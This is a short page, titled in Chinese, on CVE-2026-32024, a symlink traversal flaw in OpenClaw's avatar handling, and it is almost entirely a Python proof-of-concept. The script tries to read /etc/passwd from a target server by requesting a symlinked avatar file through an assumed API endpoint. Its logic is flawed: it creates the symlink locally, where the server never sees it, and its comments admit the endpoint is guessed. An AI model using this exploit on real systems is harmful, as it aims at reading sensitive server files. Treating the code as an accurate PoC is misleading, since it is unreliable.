CVE-2026-32024: OpenClaw符号链接遍历漏洞

import os import requests # PoC for CVE-2026-32024 # Description: Exploit symlink traversal in avatar handling def exploit_poc(target_url, file_to_read): # Step 1: Create a symlink pointing to the sensitive file # In a real scenario, this might involve uploading a file that is a symlink # or setting the avatar path if the application allows path specification. symlink_name = "avatar_exploit.png" try: os.symlink(file_to_read, symlink_name) print(f"[+] Created symlink '{symlink_name}' -> '{file_to_read}'") except OSError as e: print(f"[-] Failed to create symlink: {e}") return # Step 2: Request the avatar resource via the gateway # Assuming the endpoint structure based on the vulnerability description # The attacker tricks the server into reading the symlink exploit_url = f"{target_url}/api/avatar/{symlink_name}" print(f"[*] Sending request to: {exploit_url}") response = requests.get(exploit_url) # Step 3: Check if file content is returned if response.status_code == 200: print("[+] Exploit successful! File content leaked:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Cleanup if os.path.exists(symlink_name): os.remove(symlink_name) if __name__ == "__main__": # Replace with actual target URL target = "http://localhost:8080" target_file = "/etc/passwd" exploit_poc(target, target_file)